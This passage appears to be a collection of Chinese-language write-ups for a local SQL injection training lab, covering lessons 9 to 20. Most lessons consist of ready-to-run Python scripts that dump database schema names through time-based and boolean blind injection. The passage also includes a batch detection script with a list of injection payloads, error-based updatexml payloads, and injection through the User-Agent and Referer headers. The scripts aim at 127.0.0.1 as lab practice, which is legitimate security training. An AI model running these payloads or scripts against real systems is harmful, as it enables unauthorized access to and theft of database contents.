41 | tempurl = url + getPayload(indexOfResult,indexOfChar,mid) 42 | content = requests.get(tempurl).text 43 | # content-end 44 | # judge-start 45 | if "You are in..........." in content: 46 | return True 47 | else: 48 | return False 49 | # judge-end 50 | 51 | def doubleSearch(indexOfResult,indexOfChar,left_number, right_number): 52 | while left_number < right_number: 53 | mid = int((left_number + right_number) / 2) 54 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 55 | left_number = mid 56 | else: 57 | right_number = mid 58 | if left_number == right_number - 1: 59 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 60 | mid += 1 61 | break 62 | else: 63 | break 64 | return chr(mid) 65 | 66 | def search(): 67 | for i in range(32): # 需要遍历的查询结果的数量 68 | counter = 0 69 | for j in range(32): # 结果的长度 70 | counter += 1 71 | temp = doubleSearch(i, j, 0, 128) # 从255开始查询 72 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 73 | break 74 | sys.stdout.write(temp) 75 | sys.stdout.flush() 76 | if counter == 1: # 当结果集的所有行都被遍历后退出 77 | break 78 | sys.stdout.write("\r\n") 79 | sys.stdout.flush() 80 | 81 | search() 82 | ``` 83 | -------------------------------------------------------------------------------- /writeup/Lesson-09.md: -------------------------------------------------------------------------------- 1 | # Lesson-09 2 | ``` 3 | 时间盲注-,-宽字节注入-,-Bool盲注 4 | ``` 5 | 6 | 时间盲注 7 | 当时间盲注的时候 , 采用穷举的手法会比二分查找快很多 8 | 如果是基于BOOL的盲注 , 则二分查找更快一些 9 | ``` 10 | http://127.0.0.1/Less-9/?id=1 11 | http://127.0.0.1/Less-9/?id=1' 12 | http://127.0.0.1/Less-9/?id=1' and sleep(3)--+ 13 | http://127.0.0.1/Less-9/?id=1%27%20and%20(%271%27=%27%27%20or%20sleep(3))--+ 14 | http://127.0.0.1/Less-9/?id=1%27%20and%20(()%20or%20sleep(3))--+ 15 | ``` 16 | 穷举 : 17 | ``` 18 | #!/usr/bin/env python 19 | # encoding:utf8 20 | 21 | import requests 22 | import time 23 | import sys 24 | 25 | # config-start 26 | sleep_time = 1 27 | error_time = 0.1 # 误差范围 28 | # config-end 29 | 30 | def getPayload(indexOfResult, indexOfChar, queryASCII): 31 | column_name="schema_name" 32 | table_name="schemata" 33 | database_name="information_schema" 34 | startStr = "1' and (" 35 | endStr = ") or sleep(3))--+" 36 | payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " limit " + indexOfResult + ",1)," + indexOfChar + ",1))!=" + queryASCII + ")" 37 | payload = startStr + payload + endStr 38 | return payload 39 | 40 | def exce(indexOfResult,indexOfChar,queryASCII): 41 | # content-start 42 | url = "http://127.0.0.1/Less-9/?id=" 43 | tempurl = url + getPayload(indexOfResult,indexOfChar,queryASCII) 44 | before_time = time.time() 45 | requests.head(tempurl) 46 | after_time = time.time() 47 | # content-end 48 | use_time = after_time - before_time 49 | # judge-start 50 | # 当sleep函数被执行 , 说明查询是正确的 (因为穷举毕竟错误的情况更多 , 要构造SQL语句让正确的情况执行sleep函数从而提高效率) 51 | # 当使用二分查找的时候 , 控制正确/错误的时候执行sleep函数就不那么重要了 52 | if abs(use_time) > error_time: 53 | return True 54 | else: 55 | return False 56 | # judge-end 57 | 58 | def doSearch(indexOfResult,indexOfChar): 59 | # 根据数据库中出现的字符的频率顺序重新构造列表进行查询 60 | order = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','_','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',' ','!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/','0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?','@','[','\\',']','^','`','{','|','}','~'] 61 | for queryChar in order: 62 | queryASCII = ord(queryChar) 63 | if exce(str(indexOfResult),str(indexOfChar + 1), str(queryASCII)): 64 | return chr(queryASCII) 65 | return chr(1) 66 | 67 | def search(): 68 | for i in range(64): # 需要遍历的查询结果的数量 69 | counter = 0 70 | for j in range(128): # 结果的长度 71 | counter += 1 72 | temp = doSearch(i, j) # 从255开始查询 73 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 74 | break 75 | sys.stdout.write(temp) 76 | sys.stdout.flush() 77 | if counter == 1: # 当结果集的所有行都被遍历后退出 78 | break 79 | sys.stdout.write("\r\n") 80 | sys.stdout.flush() 81 | 82 | search() 83 | ``` 84 | 二分 : 85 | ``` 86 | #!/usr/bin/env python 87 | # encoding:utf8 88 | 89 | import requests 90 | import time 91 | import sys 92 | 93 | # config-start 94 | sleep_time = 1 95 | error_time = 0.1 # 误差范围 96 | # config-end 97 | 98 | def getPayload(indexOfResult, indexOfChar, queryASCII): 99 | column_name="schema_name" 100 | table_name="schemata" 101 | database_name="information_schema" 102 | startStr = "1' and (" 103 | endStr = ") or sleep(3))--+" 104 | payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " limit " + indexOfResult + ",1)," + indexOfChar + ",1))>" + queryASCII + ")" 105 | payload = startStr + payload + endStr 106 | return payload 107 | 108 | def exce(indexOfResult,indexOfChar,mid): 109 | # content-start 110 | url = "http://127.0.0.1/Less-9/?id=" 111 | tempurl = url + getPayload(indexOfResult,indexOfChar,mid) 112 | before_time = time.time() 113 | requests.head(tempurl) 114 | after_time = time.time() 115 | # content-end 116 | use_time = after_time - before_time 117 | # judge-start 118 | if abs(use_time) < error_time: 119 | return True 120 | else: 121 | return False 122 | # judge-end 123 | 124 | def doubleSearch(indexOfResult,indexOfChar,left_number, right_number): 125 | while left_number < right_number: 126 | mid = int((left_number + right_number) / 2) 127 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 128 | left_number = mid 129 | else: 130 | right_number = mid 131 | if left_number == right_number - 1: 132 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 133 | mid += 1 134 | break 135 | else: 136 | break 137 | return chr(mid) 138 | 139 | def search(): 140 | for i in range(32): # 需要遍历的查询结果的数量 141 | counter = 0 142 | for j in range(32): # 结果的长度 143 | counter += 1 144 | temp = doubleSearch(i, j, 0, 128) # 从255开始查询 145 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 146 | break 147 | sys.stdout.write(temp) 148 | sys.stdout.flush() 149 | if counter == 1: # 当结果集的所有行都被遍历后退出 150 | break 151 | sys.stdout.write("\r\n") 152 | sys.stdout.flush() 153 | 154 | search() 155 | ``` 156 | -------------------------------------------------------------------------------- /writeup/Lesson-10.md: -------------------------------------------------------------------------------- 1 | # Lesson-10 2 | ``` 3 | 时间盲注-,-宽字节注入-,-Bool盲注 4 | ``` 5 | 6 | 和第九题一样 , 将单引号换成双引号就好了 7 | ``` 8 | http://127.0.0.1/Less-10/?id=1 9 | http://127.0.0.1/Less-10/?id=1%22 10 | http://127.0.0.1/Less-10/?id=1%22%20and%20sleep(1)--+ 11 | http://127.0.0.1/Less-10/?id=1%22%20and%20(%271%27=%27%27%20or%20sleep(3))--+ 12 | http://127.0.0.1/Less-10/?id=1%22%20and%20(()%20or%20sleep(3))--+ 13 | ``` 14 | > 后记 : 15 | 之后写了一个批量检测Bool盲注的脚本 : 16 | 跑了之后发现竟然还有Bool盲注的注入点 : 17 | ``` 18 | 0"|()--+ 19 | 0%df"|()--+ 20 | ``` 21 | 22 | 这两种情况都可以盲注 , 可以利用之前的脚本去跑 , 可以脱库 23 | 下面是批量检测是否为Bool盲注的脚本 , 比较忙 , 写的很简陋 24 | 主要是通过判断页面长度来判定是否是Bool盲注 25 | 感觉这种判断的机制并不是很科学 , 以后可能还需要添加关键字判断什么的 26 | ``` 27 | #!/usr/bin/env python 28 | # encoding:utf8 29 | import requests 30 | 31 | rules = open('rules', 'r') 32 | 33 | baseUrl = "http://127.0.0.1/Less-10/?id=" 34 | 35 | url = baseUrl + "1" 36 | 37 | contentLength = len(requests.get(url).text) 38 | print "正常返回长度为 : ",contentLength 39 | 40 | for line in rules: 41 | if line.startswith("#"): 42 | continue 43 | if line == "\r\n": 44 | continue 45 | line = line[0:-1] 46 | startTemp = line.split("()")[0] 47 | endTemp = line.split("()")[1] 48 | testUrl1 = baseUrl + startTemp + "0" + endTemp 49 | testUrl2 = baseUrl + startTemp + "1" + endTemp 50 | # print "Checking : " + testUrl1 + "\t", 51 | len1 = len(requests.get(testUrl1).text) 52 | # print len1 53 | len2 = len(requests.get(testUrl2).text) 54 | # print testUrl2,"\t",len2 55 | if (len1 != contentLength) and (len2 == contentLength): 56 | print baseUrl + line 57 | ``` 58 | ``` 59 | # 如下语句 : 如果返回正常 , 说明猜测成功 60 | 0|()--+ 61 | 0'|()--+ 62 | 0"|()--+ 63 | 0)|()--+ 64 | 0')|()--+ 65 | 0")|()--+ 66 | 0))|()--+ 67 | 0'))|()--+ 68 | 0"))|()--+ 69 | 0)))|()--+ 70 | ##################################### 71 | # 当单引号被过滤(去掉) 72 | 0%df'|()--+ 73 | 0%df')|()--+ 74 | 0%df'))|()--+ 75 | ##################################### 76 | # 当双引号被过滤 77 | 0%df"|()--+ 78 | 0%df")|()--+ 79 | 0%df"))|()--+ 80 | ``` 81 | -------------------------------------------------------------------------------- /writeup/Lesson-11.md: -------------------------------------------------------------------------------- 1 | # Lesson-11 2 | ``` 3 | Bool盲注POST方式) 4 | ``` 5 | 6 | ``` 7 | postDate = {"uname":"admin","passwd":"admin"} 8 | postDate = {"uname":"admin'","passwd":"admin"} 9 | postDate = {"uname":"' or 1-- ","passwd":"admin"} 10 | postDate = {"uname":"' or 0-- ","passwd":"admin"} 11 | postDate = {"uname":"' or ()-- ","passwd":"admin"} 12 | ``` 13 | 14 | ``` 15 | #!/usr/bin/env python 16 | # encoding:utf8 17 | 18 | import requests 19 | import time 20 | import sys 21 | 22 | # config-start 23 | sleep_time = 5 24 | error_time = 1 25 | # config-end 26 | 27 | def getPayload(indexOfResult, indexOfChar, mid): 28 | # admin' or ()-- 29 | column_name="schema_name" 30 | table_name="schemata" 31 | database_name="information_schema" 32 | payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")" 33 | payload = {"uname":"' or (" + payload + ")-- ","passwd":"admin"} 34 | return payload 35 | 36 | def exce(indexOfResult,indexOfChar,mid): 37 | # content-start 38 | url = "http://127.0.0.1/Less-11/" 39 | postData = getPayload(indexOfResult,indexOfChar,mid) 40 | content = requests.post(url, data=postData).text 41 | # content-end 42 | # judge-start 43 | if "Your Login name:" in content: 44 | return True 45 | else: 46 | return False 47 | # judge-end 48 | 49 | def doubleSearch(indexOfResult,indexOfChar,left_number, right_number): 50 | while left_number < right_number: 51 | mid = int((left_number + right_number) / 2) 52 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 53 | left_number = mid 54 | else: 55 | right_number = mid 56 | if left_number == right_number - 1: 57 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 58 | mid += 1 59 | break 60 | else: 61 | break 62 | return chr(mid) 63 | 64 | def search(): 65 | for i in range(32): # 需要遍历的查询结果的数量 66 | counter = 0 67 | for j in range(32): # 结果的长度 68 | counter += 1 69 | temp = doubleSearch(i, j, 0, 128) # 从255开始查询 70 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 71 | break 72 | sys.stdout.write(temp) 73 | sys.stdout.flush() 74 | if counter == 1: # 当结果集的所有行都被遍历后退出 75 | break 76 | sys.stdout.write("\r\n") 77 | sys.stdout.flush() 78 | 79 | search() 80 | ``` 81 | -------------------------------------------------------------------------------- /writeup/Lesson-12.md: -------------------------------------------------------------------------------- 1 | # Lesson-12 2 | ``` 3 | Bool盲注POST方式) 4 | ``` 5 | 6 | ``` 7 | postDate = {"uname":"admin","passwd":"admin"} 8 | postDate = {"uname":"\"+","passwd":"admin"} 9 | postDate = {"uname":"\")or 1-- ","passwd":"admin"} 10 | postDate = {"uname":"\")or ()-- ","passwd":"admin"} 11 | ``` 12 | 13 | ``` 14 | #!/usr/bin/env python 15 | # encoding:utf8 16 | 17 | import requests 18 | import time 19 | import sys 20 | 21 | # config-start 22 | sleep_time = 5 23 | error_time = 1 24 | # config-end 25 | 26 | def getPayload(indexOfResult, indexOfChar, mid): 27 | # admin' or ()-- 28 | column_name="schema_name" 29 | table_name="schemata" 30 | database_name="information_schema" 31 | payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")" 32 | payload = {"uname":"\")or (" + payload + ")-- ","passwd":"admin"} 33 | return payload 34 | 35 | def exce(indexOfResult,indexOfChar,mid): 36 | # content-start 37 | url = "http://127.0.0.1/Less-12/" 38 | postData = getPayload(indexOfResult,indexOfChar,mid) 39 | content = requests.post(url, data=postData).text 40 | # content-end 41 | # judge-start 42 | if "Your Login name:" in content: 43 | return True 44 | else: 45 | return False 46 | # judge-end 47 | 48 | def doubleSearch(indexOfResult,indexOfChar,left_number, right_number): 49 | while left_number < right_number: 50 | mid = int((left_number + right_number) / 2) 51 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 52 | left_number = mid 53 | else: 54 | right_number = mid 55 | if left_number == right_number - 1: 56 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 57 | mid += 1 58 | break 59 | else: 60 | break 61 | return chr(mid) 62 | 63 | def search(): 64 | for i in range(32): # 需要遍历的查询结果的数量 65 | counter = 0 66 | for j in range(32): # 结果的长度 67 | counter += 1 68 | temp = doubleSearch(i, j, 0, 128) # 从255开始查询 69 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 70 | break 71 | sys.stdout.write(temp) 72 | sys.stdout.flush() 73 | if counter == 1: # 当结果集的所有行都被遍历后退出 74 | break 75 | sys.stdout.write("\r\n") 76 | sys.stdout.flush() 77 | 78 | search() 79 | ``` 80 | -------------------------------------------------------------------------------- /writeup/Lesson-13.md: -------------------------------------------------------------------------------- 1 | # Lesson-13 2 | ``` 3 | Bool盲注POST) 4 | ``` 5 | 6 | 和上道题基本相同 , 只是把双引号改成单引号 7 | 还有值得注意的一点是 : 8 | 如何根据bool来判断(上道题也是自己疏忽了) 9 | 可以通过页面中显示的那个图片来判断 , 而不必去判断用户名和密码是否显示出来 10 | Bool盲注比较关键的一点也就是在寻找SQL语句是否成功执行的线索 11 | ``` 12 | postDate = {"uname":"admin","passwd":"admin"} 13 | postDate = {"uname":"'","passwd":"admin"} 14 | postDate = {"uname":"')or 1-- ","passwd":"admin"} 15 | postDate = {"uname":"')or ()-- ","passwd":"admin"} 16 | ``` 17 | 18 | ``` 19 | #!/usr/bin/env python 20 | # encoding:utf8 21 | 22 | import requests 23 | import time 24 | import sys 25 | 26 | # config-start 27 | sleep_time = 5 28 | error_time = 1 29 | # config-end 30 | 31 | def getPayload(indexOfResult, indexOfChar, mid): 32 | # admin' or ()-- 33 | column_name="schema_name" 34 | table_name="schemata" 35 | database_name="information_schema" 36 | payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")" 37 | payload = {"uname":"')or (" + payload + ")-- ","passwd":"admin"} 38 | return payload 39 | 40 | def exce(indexOfResult,indexOfChar,mid): 41 | # content-start 42 | url = "http://127.0.0.1/Less-13/" 43 | postData = getPayload(indexOfResult,indexOfChar,mid) 44 | content = requests.post(url, data=postData).text 45 | # content-end 46 | # judge-start 47 | if "" in content: 48 | return True 49 | else: 50 | return False 51 | # judge-end 52 | 53 | def doubleSearch(indexOfResult,indexOfChar,left_number, right_number): 54 | while left_number < right_number: 55 | mid = int((left_number + right_number) / 2) 56 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 57 | left_number = mid 58 | else: 59 | right_number = mid 60 | if left_number == right_number - 1: 61 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 62 | mid += 1 63 | break 64 | else: 65 | break 66 | return chr(mid) 67 | 68 | def search(): 69 | for i in range(32): # 需要遍历的查询结果的数量 70 | counter = 0 71 | for j in range(32): # 结果的长度 72 | counter += 1 73 | temp = doubleSearch(i, j, 0, 128) # 从255开始查询 74 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 75 | break 76 | sys.stdout.write(temp) 77 | sys.stdout.flush() 78 | if counter == 1: # 当结果集的所有行都被遍历后退出 79 | break 80 | sys.stdout.write("\r\n") 81 | sys.stdout.flush() 82 | 83 | search() 84 | ``` 85 | -------------------------------------------------------------------------------- /writeup/Lesson-14.md: -------------------------------------------------------------------------------- 1 | # Lesson-14 2 | ``` 3 | Bool盲注POST) 4 | ``` 5 | 6 | 首先通过添加双引号根据报错得到部分SQL语句 7 | 这题比较重要的一点就是找出后台PHP文件是如何判断登陆成功的 8 | 这里通过判断猜测到应该是通过判断select获得的结果集的长度 9 | 因此这里需要这样构造用户名 : 10 | `" union select 1,1-- ` 11 | 联合查询就会保证结果集一定不为空 , 这样就可以在union select中再添加from和where语句构造出bool值 12 | 然后就可以进行bool盲注 13 | > 后记 : 14 | 后来通过查看源码发现 , 这里是将来用户POST的数据先在两端添加双引号 , 然后再对SQL语句进行构造 15 | > 再后记 : 16 | 最开始做这道题其实是整错了 , 可以不使用union select语句的 , 直接使用or语句构造一个bool的参数就可以通过响应体来判断是否正确执行了 , 这里出现错误的原因是选择的标志不对 , 这个表示再上一个关卡是有的 , 但是这一关卡又没了 17 | 18 | ``` 19 | 这里直接给出脚本 : 20 | ``` 21 | ``` 22 | #!/usr/bin/env python 23 | # encoding:utf8 24 | 25 | import requests 26 | import time 27 | import sys 28 | 29 | # config-start 30 | sleep_time = 5 31 | error_time = 1 32 | # config-end 33 | 34 | def getPayload(indexOfResult, indexOfChar, mid): 35 | # admin' or ()-- 36 | column_name="schema_name" 37 | table_name="schemata" 38 | database_name="information_schema" 39 | payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")" 40 | payload = {"uname":"\" or (" + payload + ")-- ","passwd":"admin"} 41 | return payload 42 | 43 | def exce(indexOfResult,indexOfChar,mid): 44 | # content-start 45 | url = "http://127.0.0.1/Less-14/" 46 | postData = getPayload(indexOfResult,indexOfChar,mid) 47 | content = requests.post(url, data=postData).text 48 | # content-end 49 | # judge-start 50 | if "flag.jpg" in content: 51 | return True 52 | else: 53 | return False 54 | # judge-end 55 | 56 | def doubleSearch(indexOfResult,indexOfChar,left_number, right_number): 57 | while left_number < right_number: 58 | mid = int((left_number + right_number) / 2) 59 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 60 | left_number = mid 61 | else: 62 | right_number = mid 63 | if left_number == right_number - 1: 64 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 65 | mid += 1 66 | break 67 | else: 68 | break 69 | return chr(mid) 70 | 71 | def search(): 72 | for i in range(32): # 需要遍历的查询结果的数量 73 | counter = 0 74 | for j in range(32): # 结果的长度 75 | counter += 1 76 | temp = doubleSearch(i, j, 0, 128) # 从255开始查询 77 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 78 | break 79 | sys.stdout.write(temp) 80 | sys.stdout.flush() 81 | if counter == 1: # 当结果集的所有行都被遍历后退出 82 | break 83 | sys.stdout.write("\r\n") 84 | sys.stdout.flush() 85 | 86 | search() 87 | ``` 88 | -------------------------------------------------------------------------------- /writeup/Lesson-15.md: -------------------------------------------------------------------------------- 1 | # Lesson-15 2 | ``` 3 | 时间盲注 4 | ``` 5 | 6 | ``` 7 | ' or (() and sleep(3))-- 8 | ``` 9 | 穷举 : 10 | ``` 11 | #!/usr/bin/env python 12 | # encoding:utf8 13 | 14 | import requests 15 | import time 16 | import sys 17 | 18 | # config-start 19 | sleep_time = 1 20 | error_time = 0.1 21 | # config-end 22 | 23 | def getPayload(indexOfResult, indexOfChar, mid): 24 | # admin' or ()-- 25 | column_name="schema_name" 26 | table_name="schemata" 27 | database_name="information_schema" 28 | payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))=" + mid + ")" 29 | payload = {"uname":"' or ((" + payload + ") and sleep(" + str(sleep_time) + "))-- ","passwd":"admin"} 30 | return payload 31 | 32 | def exce(indexOfResult,indexOfChar,queryASCII): 33 | # content-start 34 | url = "http://127.0.0.1/Less-15/" 35 | postData = getPayload(indexOfResult,indexOfChar,queryASCII) 36 | before_time = time.time() 37 | requests.post(url, data=postData) 38 | after_time = time.time() 39 | # content-end 40 | use_time = after_time - before_time 41 | # judge-start 42 | # 当sleep函数被执行 , 说明查询是正确的 (因为穷举毕竟错误的情况更多 , 要构造SQL语句让正确的情况执行sleep函数从而提高效率) 43 | # 当使用二分查找的时候 , 控制正确/错误的时候执行sleep函数就不那么重要了 44 | if abs(use_time) > error_time: 45 | return True 46 | else: 47 | return False 48 | # judge-end 49 | 50 | def doSearch(indexOfResult,indexOfChar): 51 | # 根据数据库中出现的字符的频率顺序重新构造列表进行查询 52 | order = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','_','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',' ','!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/','0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?','@','[','\\',']','^','`','{','|','}','~'] 53 | for queryChar in order: 54 | queryASCII = ord(queryChar) 55 | if exce(str(indexOfResult),str(indexOfChar + 1), str(queryASCII)): 56 | return chr(queryASCII) 57 | return chr(1) 58 | 59 | def search(): 60 | for i in range(32): # 需要遍历的查询结果的数量 61 | counter = 0 62 | for j in range(32): # 结果的长度 63 | counter += 1 64 | temp = doSearch(i, j) # 从255开始查询 65 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 66 | break 67 | sys.stdout.write(temp) 68 | sys.stdout.flush() 69 | if counter == 1: # 当结果集的所有行都被遍历后退出 70 | break 71 | sys.stdout.write("\r\n") 72 | sys.stdout.flush() 73 | 74 | search() 75 | ``` 76 | 二分 : 77 | ``` 78 | #!/usr/bin/env python 79 | # encoding:utf8 80 | 81 | import requests 82 | import time 83 | import sys 84 | 85 | # config-start 86 | sleep_time = 1 87 | error_time = 0.1 88 | # config-end 89 | 90 | def getPayload(indexOfResult, indexOfChar, mid): 91 | # admin' or ()-- 92 | column_name="schema_name" 93 | table_name="schemata" 94 | database_name="information_schema" 95 | payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")" 96 | payload = {"uname":"' or ((" + payload + ") and sleep(" + str(sleep_time) + "))-- ","passwd":"admin"} 97 | return payload 98 | 99 | def exce(indexOfResult,indexOfChar,queryASCII): 100 | # content-start 101 | url = "http://127.0.0.1/Less-15/" 102 | postData = getPayload(indexOfResult,indexOfChar,queryASCII) 103 | print postData 104 | before_time = time.time() 105 | requests.post(url, data=postData) 106 | after_time = time.time() 107 | # content-end 108 | use_time = after_time - before_time 109 | # judge-start 110 | # 当sleep函数被执行 , 说明查询是正确的 (因为穷举毕竟错误的情况更多 , 要构造SQL语句让正确的情况执行sleep函数从而提高效率) 111 | # 当使用二分查找的时候 , 控制正确/错误的时候执行sleep函数就不那么重要了 112 | if abs(use_time) > error_time: 113 | return True 114 | else: 115 | return False 116 | # judge-end 117 | 118 | def doubleSearch(indexOfResult,indexOfChar,left_number, right_number): 119 | while left_number < right_number: 120 | mid = int((left_number + right_number) / 2) 121 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 122 | left_number = mid 123 | else: 124 | right_number = mid 125 | if left_number == right_number - 1: 126 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 127 | mid += 1 128 | break 129 | else: 130 | break 131 | return chr(mid) 132 | 133 | def search(): 134 | for i in range(32): # 需要遍历的查询结果的数量 135 | counter = 0 136 | for j in range(32): # 结果的长度 137 | counter += 1 138 | temp = doubleSearch(i, j, 0, 128) # 从255开始查询 139 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 140 | break 141 | sys.stdout.write(temp) 142 | sys.stdout.flush() 143 | if counter == 1: # 当结果集的所有行都被遍历后退出 144 | break 145 | sys.stdout.write("\r\n") 146 | sys.stdout.flush() 147 | 148 | search() 149 | ``` 150 | -------------------------------------------------------------------------------- /writeup/Lesson-16.md: -------------------------------------------------------------------------------- 1 | # Lesson-16 2 | ``` 3 | Bool盲注 4 | ``` 5 | 6 | 通过尝试 , 构造如下的用户名 : 7 | `admin") or 1-- ` 8 | ``` 9 | #!/usr/bin/env python 10 | # encoding:utf8 11 | 12 | import requests 13 | import time 14 | import sys 15 | 16 | # config-start 17 | sleep_time = 5 18 | error_time = 1 19 | # config-end 20 | 21 | def getPayload(indexOfResult, indexOfChar, mid): 22 | # admin' or ()-- 23 | column_name="schema_name" 24 | table_name="schemata" 25 | database_name="information_schema" 26 | payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")" 27 | payload = {"uname":"\") or (" + payload + ")-- ","passwd":"admin"} 28 | return payload 29 | 30 | def exce(indexOfResult,indexOfChar,mid): 31 | # content-start 32 | url = "http://127.0.0.1/Less-16/" 33 | postData = getPayload(indexOfResult,indexOfChar,mid) 34 | content = requests.post(url, data=postData).text 35 | # content-end 36 | # judge-start 37 | if "flag.jpg" in content: 38 | return True 39 | else: 40 | return False 41 | # judge-end 42 | 43 | def doubleSearch(indexOfResult,indexOfChar,left_number, right_number): 44 | while left_number < right_number: 45 | mid = int((left_number + right_number) / 2) 46 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 47 | left_number = mid 48 | else: 49 | right_number = mid 50 | if left_number == right_number - 1: 51 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 52 | mid += 1 53 | break 54 | else: 55 | break 56 | return chr(mid) 57 | 58 | def search(): 59 | for i in range(32): # 需要遍历的查询结果的数量 60 | counter = 0 61 | for j in range(32): # 结果的长度 62 | counter += 1 63 | temp = doubleSearch(i, j, 0, 128) # 从255开始查询 64 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 65 | break 66 | sys.stdout.write(temp) 67 | sys.stdout.flush() 68 | if counter == 1: # 当结果集的所有行都被遍历后退出 69 | break 70 | sys.stdout.write("\r\n") 71 | sys.stdout.flush() 72 | 73 | search() 74 | ``` 75 | -------------------------------------------------------------------------------- /writeup/Lesson-17.md: -------------------------------------------------------------------------------- 1 | # Lesson-17 2 | ``` 3 | 报错注入 4 | ``` 5 | 6 | 报错注入 , 好深奥 , 叼叼叼 7 | ``` 8 | ' or updatexml(1,concat(0x5e5e,version(),0x5e5e),1)-- 9 | ' or updatexml(1,concat(0x5e,(select schema_name from information_schema.schemata limit 0,1),0x5e),1)-- 10 | ``` 11 | -------------------------------------------------------------------------------- /writeup/Lesson-18.md: -------------------------------------------------------------------------------- 1 | # Lesson-18 2 | ``` 3 | HTTP头注入X-Forwarded-For)-,-报错注入 4 | ``` 5 | 6 | HTTP头注入 7 | 利用XFF头 8 | 这里可以利用的原因是 : 网站将XFF头信息插入数据库 , 而这个信息是访问者可以控制的 9 | 同样利用报错注入 , 将数据回显 10 | ``` 11 | import requests 12 | 13 | url = "http://127.0.0.1/Less-18/" 14 | 15 | postDate = { 16 | 'uname':'admin', 17 | 'passwd':'1' 18 | } 19 | 20 | headers = { 21 | 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 22 | 'Accept-Encoding':'gzip, deflate, br', 23 | 'Accept-Language':'zh-CN,zh;q=0.8,en;q=0.6', 24 | 'Cache-Control':'max-age=0', 25 | 'Connection':'keep-alive', 26 | 'Content-Type':'application/x-www-form-urlencoded', 27 | 'Host':'127.0.0.1', 28 | 'X-Forwarded-For':'8.8.8.8', 29 | 'Origin':'http://127.0.0.1', 30 | 'Referer':'http://127.0.0.1/Less-18/', 31 | 'Upgrade-Insecure-Requests':'1', 32 | 'User-Agent':'\',updatexml(1,concat(0x5e,version(),0x5e),1),\'' 33 | } 34 | 35 | content = (requests.post(url, data=postDate, headers=headers).text) 36 | print(content) 37 | ``` 38 | -------------------------------------------------------------------------------- /writeup/Lesson-19.md: -------------------------------------------------------------------------------- 1 | # Lesson-19 2 | ``` 3 | HTTP头注入Refer)-,-报错注入 4 | ``` 5 | 6 | 和上一道题差不多 , 只不过注入的地方是在Refer头里面 , 而不是User-Agent 7 | ``` 8 | import requests 9 | 10 | url = "http://127.0.0.1/Less-19/" 11 | 12 | postDate = { 13 | 'uname':'admin', 14 | 'passwd':'1' 15 | } 16 | 17 | headers = { 18 | 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 19 | 'Accept-Encoding':'gzip, deflate, br', 20 | 'Accept-Language':'zh-CN,zh;q=0.8,en;q=0.6', 21 | 'Cache-Control':'max-age=0', 22 | 'Connection':'keep-alive', 23 | 'Content-Type':'application/x-www-form-urlencoded', 24 | 'Host':'127.0.0.1', 25 | 'X-Forwarded-For':'8.8.8.8', 26 | 'Origin':'http://127.0.0.1', 27 | 'Referer':'\',updatexml(1,concat(0x5e,version(),0x5e),1),\'', 28 | 'Upgrade-Insecure-Requests':'1', 29 | 'User-Agent':'\',updatexml(1,concat(0x5e,version(),0x5e),1),\'' 30 | } 31 | 32 | content = (requests.post(url, data=postDate, headers=headers).text) 33 | print(content) 34 | ``` 35 | -------------------------------------------------------------------------------- /writeup/Lesson-20.md: -------------------------------------------------------------------------------- 1 | # Lesson-20 2 | ``` 3 | Cookie注入-,-明注POST) 4 | ``` 5 | 6 | Cookie 注入 , 修改自身cookie , 